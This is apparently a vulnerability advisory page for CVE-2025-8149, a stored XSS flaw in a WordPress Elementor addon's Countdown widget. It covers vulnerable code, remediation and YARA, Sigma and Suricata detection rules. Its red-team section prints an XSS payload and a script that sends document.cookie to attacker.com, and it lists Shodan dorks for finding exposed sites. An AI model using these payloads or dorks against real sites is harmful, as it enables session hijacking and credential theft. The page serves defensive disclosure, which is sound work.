☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8149

CVE-2025-8149 Cross-Site Scripting in Athemes
📅 PUBLISHED: 2025-09-06 03:22 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8149 is a Stored Cross-Site Scripting (XSS) vulnerability in the aThemes Addons for Elementor plugin for WordPress, affecting all versions up to and including 1.1.2. The flaw resides in the plugin's Countdown widget, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into pages. When a victim visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can create and publish content. The lack of a vendor patch means site administrators must rely on manual mitigation or removal of the plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is a third-party addon for the Elementor page builder. Since the vendor has not released a patch, the supply chain risk is elevated. Users should consider the plugin as untrusted and either remove it or apply virtual patching via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level access)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once access is obtained. The stored XSS can affect all site visitors, including administrators.

Deep Dive & Mechanics

The aThemes Addons for Elementor plugin registers custom widgets for the Elementor page builder. The Countdown widget accepts user-defined attributes (e.g., countdown_date, label, message) to customize its appearance and behavior. The vulnerability arises because the plugin does not properly sanitize or escape these attributes before rendering them in the HTML output.

When a contributor creates or edits a page using the Elementor builder, they can inject malicious JavaScript into one of the widget's attributes. For example, the label attribute might be rendered directly into a <span> tag without escaping. The injected script is stored in the WordPress database and executed whenever any user (including administrators) views the page.

The root cause is insufficient input validation and output escaping. The plugin likely uses echo or print directly without applying WordPress's built-in escaping functions like esc_attr() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (version 1.1.2):

// In countdown-widget.php
public function render() {
    $settings = $this->get_settings_for_display();
    $label = $settings['label'];
    echo '<div class="countdown-label">' . $label . '</div>';
}

Patched Code (hypothetical):

// In countdown-widget.php
public function render() {
    $settings = $this->get_settings_for_display();
    $label = esc_html( $settings['label'] );
    echo '<div class="countdown-label">' . $label . '</div>';
}

The patched version uses esc_html() to escape the output, preventing XSS. Since no official patch exists, this is a recommended fix for developers.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with the aThemes Addons for Elementor plugin (version <= 1.1.2) installed and activated.
  • A user account with Contributor-level access or higher.

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Create a new page or edit an existing one using Elementor.
  3. Add the Countdown widget to the page.
  4. In the widget's settings, locate the label attribute and inject the following payload:
    <img src=x onerror=alert('XSS')>
    
  5. Save and publish the page.
  6. When any user visits the page, the JavaScript executes.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

  • Monitor for unusual Elementor widget attribute values in the database.
  • Look for pages containing <script> tags or event handlers within widget attributes.

Prevention:

  • Remove or disable the aThemes Addons for Elementor plugin until a patch is available.
  • Implement a Web Application Firewall (WAF) rule to block common XSS payloads in POST requests to wp-admin/admin-ajax.php and wp-admin/post.php.
  • Restrict Contributor-level access to trusted users only.

Hunting:

  • Search the WordPress database for stored XSS indicators:
    SELECT * FROM wp_posts WHERE post_content LIKE '%onerror=%' OR post_content LIKE '%<script>%';
    

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/athemes-addons-for-elementor/widgets/countdown-widget.php
  • Database: Rows in wp_posts containing malicious JavaScript in post_content.
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Logs: wp-content/debug.log entries showing PHP warnings or errors related to the plugin.

Detection Engineering

YARA Rule

rule CVE_2025_8149_Stored_XSS {
    meta:
        description = "Detects malicious payloads targeting aThemes Addons for Elementor Countdown widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8149"
    strings:
        $xss1 = /<[^>]*onerror\s*=[^>]*>/i
        $xss2 = /<[^>]*onload\s*=[^>]*>/i
        $xss3 = /<script[^>]*>.*<\/script>/i
        $widget = /athemes-addons-for-elementor\/widgets\/countdown-widget\.php/i
    condition:
        any of ($xss*) and $widget
}

Sigma Rule

title: CVE-2025-8149 Stored XSS in aThemes Addons for Elementor
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress pages created with aThemes Addons for Elementor
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=elementor_ajax'
    keywords:
        - 'onerror='
        - 'onload='
        - '<script>'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8149 Stored XSS in aThemes Addons for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(onerror|onload|script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete the aThemes Addons for Elementor plugin from the WordPress admin panel.
  2. Scan for compromise: Use a security plugin like Wordfence or Sucuri to scan for injected scripts.
  3. Remove malicious content: Manually review and clean any pages containing XSS payloads.

Long-term Fix:

  • Since no vendor patch exists, consider forking the plugin and applying the fix described in the "Vulnerable vs. Patched Code" section.
  • Alternatively, switch to a different Elementor addon plugin that is actively maintained.

Virtual Patching:

  • Add a WAF rule to block requests containing onerror=, onload=, or <script> in Elementor widget attributes.

Monitoring:

  • Enable WordPress debug logging (WP_DEBUG_LOG) to capture any exploitation attempts.
  • Monitor web server logs for unusual POST requests to admin-ajax.php.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Elementor"
http.html:"wp-content/plugins/athemes-addons-for-elementor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8149/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.